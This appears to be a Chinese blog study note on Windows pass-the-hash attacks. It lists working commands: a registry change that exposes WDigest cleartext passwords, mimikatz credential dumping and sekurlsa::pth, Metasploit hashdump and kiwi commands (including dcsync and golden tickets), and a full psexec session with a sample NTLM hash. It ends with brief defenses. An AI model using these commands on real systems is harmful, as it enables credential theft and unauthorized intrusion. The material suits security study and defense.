最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。

0x01 哈希传递攻击概念

有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。

可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

NTLM Hash与NTLM

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。

在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。

注:

mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash

Windows Server 2008启用LM hash的方法:

gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项

找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用

系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

0x02 利用方法

1.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。

privilege::debug
sekurlsa::logonpasswords



复制NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之后会弹出cmd.exe,或者重新开一个命令行



也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

利用msf进行哈希传递攻击

msf内置的mimikatz获取hash(需要管理员权限)

在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv 获取的是hash值
tspkg tspkg凭证相关的模块
wdigest 读取内存中存放的账号密码明文信息
kerberos kerberos相关的模块
ssp 获取的是明文信息

mimikatz的原生命令在这里有些改动

mimikatz_command 模块可以让我们使用mimikatz的全部功能。

meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list 列出应用进程
meterpreter > mimikatz_command -f service::list 列出服务

例如

mimikatz_command -f samdump::hashes   获取hash



建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,



msf的kiwi模块(需要系统权限)

kiwi就是msf内置的mimikatz模块的升级版

但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。

使用前先在meterpreter下加载kiwi模块



使用命令creds_kerberos列举所有kerberos凭据



可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。

再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令



可以看到成功列出用户密码hash

kiwi模块命令集合

creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码

msf psexec模块

PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)

msf中有3个psexec模块都可以进行Hash传递利用:

# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command # 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec # 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh

再使用pesxec模块之前要保证:

  1. 开启445端口 SMB服务
  2. 开启admin$共享

    使用之前板块获取到的管理员NTLM Hash

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run



这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧.....

0x03 防范措施

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。

但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。



所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。

最新文章

  1. iOS开发-应用崩溃日志揭秘(一)
  2. Windows Store App 全球化 设置指定页面的语言
  3. 命令行模式 svn版本管理
  4. Visual Studio 2015初体验——前端开发工作的问题
  5. 1.把二元查找树转变成排序的双向链表[BST2DoubleLinkedList]
  6. 转-C#让枚举返回字符串
  7. chrome浏览器无法设置打开特定网页
  8. sap 三代出口(BADI)的查找方法
  9. Lipo Error!! can't open input file
  10. html5 canvas+js实现ps钢笔抠图
  11. AVL树 高度平衡的二叉查找树
  12. oracle数据库如何打印九九乘法表
  13. LeetCode 31. Next Permutation (下一个排列)
  14. SpringCloud接入EDAS——服务发现篇
  15. iOS Button 上文字图片位置的设置
  16. flex 输入框布局
  17. Java内存溢出异常(上)
  18. mysql数据库修改数据表引擎的方法
  19. PyCharm默认文件头部的设置
  20. 本地Git与GitHub服务器建立连接(SSH方式通信)

热门文章

  1. Java实现 LeetCode 691 贴纸拼词(DFS+map记录)
  2. Java实现 LeetCode 11 盛最多水的容器
  3. java实现第三届蓝桥杯提取子串
  4. 简谈Java语言的封装
  5. 通过SecureCRT向远程Linux主机上传和下载文件
  6. ElasticSearch系列(二):ElasticSearch Head、Kibana、Elasticsearch-Analysis-Ik安装、使用
  7. 阻塞队列一——java中的阻塞队列
  8. 【 转】百度地图Canvas实现十万CAD数据秒级加载
  9. WPF中DataTemplateSelector的简单应用
  10. Express4.x之API:express